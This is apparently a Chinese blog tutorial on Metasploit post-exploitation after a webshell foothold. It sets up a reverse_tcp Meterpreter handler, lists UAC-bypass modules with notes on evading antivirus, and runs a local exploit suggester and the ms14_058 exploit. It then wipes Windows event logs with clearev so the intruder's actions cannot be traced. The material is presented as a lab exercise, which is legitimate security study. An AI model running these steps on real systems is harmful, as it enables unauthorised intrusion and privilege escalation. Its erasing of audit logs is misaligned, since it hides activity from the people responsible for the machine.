• Metaspolit下UAC提权以及日志清除


    在获得webshell时但权限不够大,这时候为了完全获得受害者机器的权限,使用msf进行后渗透。

    一、获取Meterpreter会话

    Meterpreter 是msf的一个payload,目标执行之后,我们会得到一个会话,和常见的shell会话类似,但是它的功能更加强大,它是执行后渗透测试的实施通道。

    (1) 使用msfvenom生成payload

    常用命令:

    (2)本地监听

    监听需要用到msf的exploit/multi/handler模块,使用show options查看需要设置的参数。重要的参数有三个:监听使用的payload、本地ip、本地监听端口。这些参数的值跟之前msfvenom使用的参数一样。
    Msfconsole 打开Metaploit

    msf>use exploit/multi/handler
    

    set payload windows/meterpreter/reverse_tcp
    

    set LHOST 192.168.204.129
    

    (3)将生成的payload通过webshell上传到服务器

    要上传到可读写的区域并执行

    成功监听获得meterpreter(一个session(会话))

    Getuid 查看主机名

    也可以输入shell变成命令行模式,输入exit返回到meterpeter shell模式


    输入background命令让当前会话保存到后台

    使用sessions命令可以查看所有后台的会话,每个session对应一个id值,后面会经常用到。

    (4)Exploit 进行提权(UAC提权)

    用户帐户控制(UAC)是微软在 Windows Vista 以后版本引入的一种安全机制,有助于防止对系统进行未经授权的更改。应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员专门给系统授予管理员级别的访问权限。UAC 可以阻止未经授权的应用程序进行自动安装,并防止无意中更改系统设置。
    msf提供了bypassuac模块帮助绕过UAC:

    在使用bypassuac模块进行提权时,当前用户必须在管理员组中,且UAC必须为默认设置(既“仅在程序试图更改我的计算机时通知我”),bypassuac模块运行时,会在目标机器上创建多个文件,这些文件很有可能会被杀毒软件识别。

    bypassuac模块介绍

    use exploit/windows/local/bypassuac #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。
    use exploit/windows/local/bypassuac_injection #该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率
    use exploit/windows/local/bypassuac_fodhelper # 该模块通过在当前用户配置单元下劫持注册表中的特殊键,并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC
    use exploit/windows/local/bypassuac_eventvwr #该模块通过在当前用户配置单元下劫持注册表中的特殊键,并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC
    use exploit/windows/local/bypassuac_comhijack #此模块将通过在HKCU配置单元中,创建COM处理程序注册表项来绕过Windows UAC。当加载某些高完整性进程时将会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL中包含了可提升权限的payload。该模块需要通过目标系统上的cmd.exe来调用目标二进制文件,因此如果限制cmd.exe访问,则此模块将无法正常运行。
    use exploit/windows/local/bypassuac_windows_store #通过模拟可信目录绕过UAC
    use exploit/windows/local/bypassuac_sdclt #Sdclt用于Windows备份和还原机制的上下文中

    1.第一次尝试三个模块都无法获得权限

    因为webshell权限只是user,这需要权限在adminisartor组中



    bypassuac 执行成功后会返回一个新的 meterpreter,此时再输入 shell 进入系统 cmd 查看权限,权限级别已经由 medium 变成了 high。
    除此之外还有很多其他的提权脚本,可以根据 systeminfo 查出来的补丁和提权脚本做对比,若相关的利用脚本没有安装相应的补丁,则可针对性的进行提权操作。
    这里用bypassuac_injection成功提权

    但是对新版的的win10没有一个可以成功绕过。

    2.也可以尝试使用windwos的漏洞进行提权

    可以用metaspolit的内置模块

    use post/windows/gather/enum_patches
    post/multi/recon/local_exploit_suggester
    

    set session id #id是已经获得的session号
    当我们用它来探测某一个系统时,他会告诉我们该系统有哪些exploit可能可以利用

    use post/multi/recon/local_exploit_suggester
    


    详细利用在另一篇文章
    发现可能的漏洞后可以找到对应exp的模块:
    如ms13_053,ms14_058,ms16_016,ms16_032等。下面以ms14_058为例。

    msf5 > use exploit/windows/local/ms14_058_track_popup_menu
    msf5 > exploit(ms14_058_track_popup_menu) > set session 1
    msf5 > exploit(ms14_058_track_popup_menu) > exploit
    

    日志清除

    清除日志
    再进入肉鸡执行一些操作时,windows 下记录的操作日志可在日志查看器中进行查看,可以通过运行 eventvwr 命令打开。
    包括了应用程序、系统、安全等模块的日志,为了不让其查到自己或知道自己的操作,则可以使用 meterpreter 的 clearev 命令来清除其日志。
    未清除日志前可查看系统记录的一些处理信息。

    然后在 meterpreter 下执行 clearev 命令,可以看到清除提示,分别清除了应用程序,系统和安全模块的日志记录。

    命令运行后,再到靶机的日志查看器中查看,日志已经被清除。

  • 相关阅读:
    MySQL_update同一张表
    MySQL_前缀索引_建立
    oracle_partition sample_simple
    oracle_partition sample
    java_java 利用JAX-RS快速开发RESTful 服务
    Java_Spring MVC_Servlet
    匿名函数
    randrange()和random() 函数
    迭代器 生成器 面向过程编程
    enumerate 模块
  • 原文地址:https://www.cnblogs.com/Xy--1/p/13340299.html
Copyright © 2020-2023  润新知